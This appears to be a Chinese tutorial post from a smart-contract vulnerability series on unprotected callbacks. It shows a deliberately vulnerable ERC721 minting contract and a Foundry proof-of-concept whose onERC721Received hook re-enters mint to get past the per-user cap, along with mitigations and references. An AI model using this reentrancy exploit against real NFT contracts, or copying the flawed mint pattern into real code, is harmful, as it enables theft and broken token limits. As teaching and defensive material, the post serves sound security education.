描述:合约 ContractTest 利用回调功能绕过了 MaxMint721 合约设置的最大铸造限制。实现这一点的方法是触发 onERC721Received 函数,该函数内部再次调用了 mint 函数。因此,尽管 MaxMint721 试图限制用户可以铸造的代币数量为 MAX_PER_USER,ContractTest 合约仍然成功地铸造了超过该限制的代币。
场景:这个练习涉及一个通过回调函数铸造更多 NFT 的合约。
缓解措施:遵循检查-效果-交互模式并使用 OpenZeppelin Reentrancy Guard。
参考:
https://blocksecteam.medium.com/when-safemint-becomes-unsafe-lessons-from-the-hypebears-security-incident-2965209bda2a
https://www.paradigm.xyz/2021/08/the-dangers-of-surprising-code
MaxMint721 合约:
contract MaxMint721 is ERC721Enumerable {
uint256 public MAX_PER_USER = 10;
constructor() ERC721("ERC721", "ERC721") {}
function mint(uint256 amount) external {
require(
balanceOf(msg.sender) + amount <= MAX_PER_USER,
"exceed max per user"
);
for (uint256 i = 0; i < amount; i++) {
uint256 mintIndex = totalSupply();
_safeMint(msg.sender, mintIndex);
}
}
}
如何测试:
forge test –contracts src/test/Unprotected-callback.sol -vvvv
// 公共函数,用于测试新代币的铸造
function testSafeMint() public {
// 创建一个新的 MaxMint721 合约实例
MaxMint721Contract = new MaxMint721();
// 尝试铸造 maxMints 数量的新代币。如果 mint 函数是按标准方式实现的,这应该会铸造 maxMints 数量的新代币。
MaxMint721Contract.mint(maxMints);
// 控制台日志表明发生了一个漏洞,允许铸造 19 个 NFT
console.log("Bypassed maxMints, we got 19 NFTs");
// 代码断言确实铸造了 19 个 NFT
assertEq(MaxMint721Contract.balanceOf(address(this)), 19);
// 输出该合约铸造的 NFT 数量
console.log("NFT minted:", MaxMint721Contract.balanceOf(address(this)));
}
// 此函数是 ERC721Receiver 接口的标准实现,允许此合约接收来自其他合约的 ERC721 代币。在这种情况下,它用于执行铸造漏洞
function onERC721Received(
address,
address,
uint256,
bytes memory
) public returns (bytes4) {
// 检查此函数是否是首次调用
if (!complete) {
// 标记此函数已被调用
complete = true;
// 铸造 (maxMints - 1) 数量的新代币
MaxMint721Contract.mint(maxMints - 1);
// 输出请求铸造的代币数量
console.log("Called with :", maxMints - 1);
}
// 这是成功接收 ERC721 代币的标准返回值
return this.onERC721Received.selector;
}
红框: 绕过 maxMint
原文始发于微信公众号(3072):智能合约漏洞入门(9)未保护的回调